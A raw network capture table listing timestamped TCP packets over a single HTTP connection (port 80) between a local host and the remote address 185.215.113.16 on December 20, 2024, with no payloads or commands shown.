Dec 20, 2024 11:12:30.699129105 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.699242115 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.699285984 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.701103926 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.701170921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.701225996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.701275110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.703073978 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.703181982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.703226089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.705080032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.705138922 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.705177069 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.705224991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.707062960 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.707231045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.707278013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.709134102 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.709188938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.709270954 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.709316969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.711141109 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.711194992 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.711236000 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.713146925 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.713190079 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.713310957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.713351011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.715121031 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.715250015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.715289116 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.717219114 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.717267036 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.717269897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.717308998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.719090939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.719218016 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.719280005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.721087933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.721134901 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.721210957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.721272945 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.723090887 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.723236084 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.723283052 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.725167990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.725218058 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.725308895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.725353956 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.727114916 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.727196932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.727241039 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.729222059 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.729270935 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.729270935 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.729311943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.731112003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.731199980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.731247902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.733135939 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.733205080 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.733218908 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.733259916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.735109091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.735229969 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.735276937 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.737086058 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.737147093 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.737176895 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.737219095 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.739244938 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.739309072 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.739358902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.741161108 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.741210938 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.741286993 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.741328001 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.743098974 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.743204117 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.743262053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.745126963 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.745181084 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.745280981 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.745325089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.747116089 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.747236013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.747289896 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.749114037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.749165058 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.749170065 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.749212027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.751143932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.751318932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.751379013 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.753140926 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.753185987 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.753186941 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.753230095 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.755085945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.757937908 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.842327118 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.842466116 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.842542887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.843050957 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.843441010 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.843554974 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.844851017 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.845096111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.845139027 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.845200062 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.845238924 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.846782923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.846868038 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.846930981 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.848429918 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.848488092 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.848629951 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.848678112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.850070000 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.850210905 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.850265980 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.851783037 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.851840973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.851900101 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.851943016 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.853271008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.853312969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.853384018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.853440046 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.854883909 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.855006933 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.855053902 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.856441975 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.856486082 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.856564045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.856612921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.857990026 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.858061075 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.858120918 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.858165026 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.859551907 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.859621048 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.859654903 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.859702110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.861017942 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.861088991 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.861150980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.861237049 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.862539053 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.862588882 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.862590075 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.862633944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.864056110 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.864108086 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.864135027 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.864176035 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.865586996 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.865639925 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.865674019 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.865719080 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.866978884 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.867129087 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.867177010 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.868432045 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.868486881 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.868552923 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.868604898 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.869910955 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.869962931 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.869975090 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.870021105 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.871306896 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.871359110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.871495008 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.871540070 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.872720003 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.872772932 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.872773886 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.872817993 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.874147892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.874196053 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.874202967 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.874248028 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.875550032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.875603914 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.875605106 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.875649929 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.877059937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.877134085 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.877177000 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.877223969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.878294945 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.878403902 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.878453970 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.879698992 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.879767895 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.879811049 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.879853964 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.881129980 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.881175041 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.881262064 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.881308079 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.882481098 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.882528067 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.882535934 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.882580996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.883860111 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.883944035 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.883960962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.884025097 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.885225058 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.885274887 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.885334015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.885423899 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.886629105 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.886678934 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.886756897 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.886805058 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.887989044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.888046980 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.888103962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.888150930 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.889334917 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.889379978 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.889441013 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.889532089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.890814066 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.890851021 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.890892982 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.890961885 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.892117977 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.892167091 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.892244101 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.892416954 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.893538952 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.893589973 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.893630981 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.893675089 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.894875050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.894952059 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.894999027 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.895080090 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.896317005 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.896370888 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.896403074 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.896414995 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.897635937 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.897706985 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.897782087 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.897830009 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.899003029 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.899066925 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.899167061 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.899211884 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.900475025 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.900540113 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.900568962 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.900615931 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.901802063 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.901865005 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.901948929 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.901994944 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.903296947 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.903346062 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.903352976 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.903395891 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.904561043 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.904608011 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.904649019 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.904692888 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.905961990 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.906018972 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.906078100 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.906121969 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.907387018 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.907434940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.907466888 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.907555103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.908711910 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.908782959 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.908844948 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.908951998 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.910137892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.910193920 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.910237074 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.910310030 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.911525011 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.911577940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.911580086 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.911628008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.912863970 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.912919044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.912991047 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.913055897 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.914257050 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.914305925 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.914407015 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.914571047 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.915617943 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.915666103 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.915868044 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.915924072 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.916996002 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.917040110 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:30.917103052 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:30.917201996 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.034547091 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.034616947 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.034620047 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.034662008 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.034816027 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.034960032 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.035018921 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.035861969 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.035917044 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.035923004 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.035967112 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.036925077 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.036963940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.037044048 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.037091970 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.038052082 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.038106918 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.038110971 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.038157940 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.039140940 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.039196014 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.039208889 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.039254904 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.040132046 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.040186882 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.040205002 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.040231943 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.041243076 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.041292906 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.041357040 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.041405916 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.042265892 CET	80	49817	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:31.042325020 CET	49817	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:31.042387962 CET	80	49817	185.215.113.16	192.168.2.4
